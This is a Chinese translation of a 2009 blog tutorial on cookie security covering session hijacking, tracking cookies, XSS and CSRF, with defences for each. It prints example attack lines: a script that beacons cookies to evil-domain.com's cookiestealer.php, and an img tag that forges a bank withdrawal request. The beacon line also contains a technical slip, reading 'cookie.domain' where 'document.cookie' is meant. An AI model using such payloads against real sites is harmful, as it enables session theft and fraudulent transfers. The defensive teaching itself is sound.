Posted at May 12, 2009 by Nicholas C. Zakas
原文

事实上关于cookie的安全策略有很多,cookie本身和安全相关的属性有 domainpath, and secure, 但是由于网页的天性使得cookie安全变得更加复杂。

User logins and session hijacking

cookie最常见的一种用途是跟踪login状态。

服务端在校验通过登录账号和密码后返回的cookie中记录了能标识当前用户的信息。同站的其他请求都会带上这个cookie来验证登陆状态。大多数站点都是使用的session cookie,在关闭浏览器后cookie就销毁了,也有一些提供了“remember me” 选项,比如提供一星期内不用重新登录的功能。

使用抓包攻击可以轻易的伪造用户身份,服务端无法分辨身份是否是伪造的。防止session hijacking有以下方法:

  1. 上 https,使用 SSL 来传输cookie。

  2. 在session key中添加更多local或者随机信息,比如 ip,login time,使得伪造cookie更加困难。

  3. 对于关键操作,要求重新验证用户信息。比如支付、修改密码等等

Third-party cookies

网页上往往会引用外部站点上的资源,比如css,script,iframe等。

在访问外部站点时,本域下的cookie不会被发送;同时,本域也无法访问外部站点返回的cookie

  • Using a <link> tag to include a style sheet.
  • Using a <script> tag to include a JavaScript file.
  • Using an <object> or tag to include media files.
  • Using an <iframe> tag to include another HTML file.

外部返回的cookie有啥用呢?

假设 Page A 访问了一个外部链接,第三方服务器返回一个记录了 Referer 的cookie,Page B 这时也访问该外部链接,这个cookie就会被发给第三方服务器,从而暴露了用户的访问记录。第三方服务器就知道了用户访问了Page A又访问了Page B,而仅仅根据这些信息就可以做一些广告推荐。

这些 cookies 被称为 tracking cookies。当然这些也不太可能会造成安全威胁,但是这个概念在更大规模的安全领域讨论中很重要。

加载一个第三方域名下的JavaScript有巨大的安全隐患。 尽管在请求第三方 JavaScript 资源时不会发送本域名下的cookie,但是script还是可以读取到cookie。同一页面下的所有的JavaScript都被认为是运行在同一个domain、path、protocol下。这时访问document.cookie即可获取到cookie了。

举个例子说明:

页面A从第三方站点evil-domain.com加载了某个JavaScript,上线之后evil-domain.com 将该JavaScript改为如下

(new Image()).src = "http://www.evil-domain.com/cookiestealer.php?cookie=" + cookie.domain;

页面A下的cookie就这样被静默的发送给了evil-domain.com

这种注入第三方的JavaScript的攻击方式也叫做XSS(cross-site scripting)攻击。

除了不小心include了一个可疑的script之外,XSS攻击还有可能是因为没有做输入过滤。

比如这个网站会将用户的的输入显示在网页上,当用户输入如下内容,cookie同样也会被盗取

<script>
(new Image()).src = "http://www.evil-domain.com/cookiestealer.php?cookie=" + cookie.domain;
</script>

防止XSS:

  1. 不要随便 include 来自可疑域名的 JavaScript;尽量选择大公司的CDN;
  2. 总是过滤或者sanitize用户的输入,不要直接输出用户的输入。

HTTP-only cookies 是cookie标准的重要补充,script无法通过document.cookie读取被标记为 HTTP-only 的cookie。(注:目前所有的浏览器都实现了该标准)

Cross-site request forgery (CSRF)

另外一种涉及到cookie的攻击是cross-site request forgery(CSRF)。这种攻击工作的原理是欺骗浏览器以用户的身份发送危险请求、例如转账、支付等。这种攻击常常利用XSS技术或者简单的HTML。

Wikipedia 展示了一个例子:

在一个没有过滤用户输入的论坛上,发布下面这样的一张图片。

<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">

如果你恰好登录了 bank.example 当你浏览这个帖子时就会发起一个转账请求。

和预防XSS一样,输入过滤也可以阻止CSRF攻击
其它的一些预防措施如下:

  • 对于敏感信息需要重新验证用户身份。
  • 对于敏感系统,Cookies 的失效时间应尽可能的短。
  • 不仅验证cookies,还要验证referer 或者 request type (POST instead of GET).

由于CSRF攻击一旦触发很难排查,所以预防是关键。

Conclusion

虽然列举了这么多关于cookie的安全攻击方式,但是,只要采取了合适的预防措施,使用cookie是安全的。

单单验证用户输入这个举措,就可以显著降低攻击数量,而且是一个低成本,高回报的预防措施,

最总要的是保持关注安全问题,紧跟最新技术防止攻击。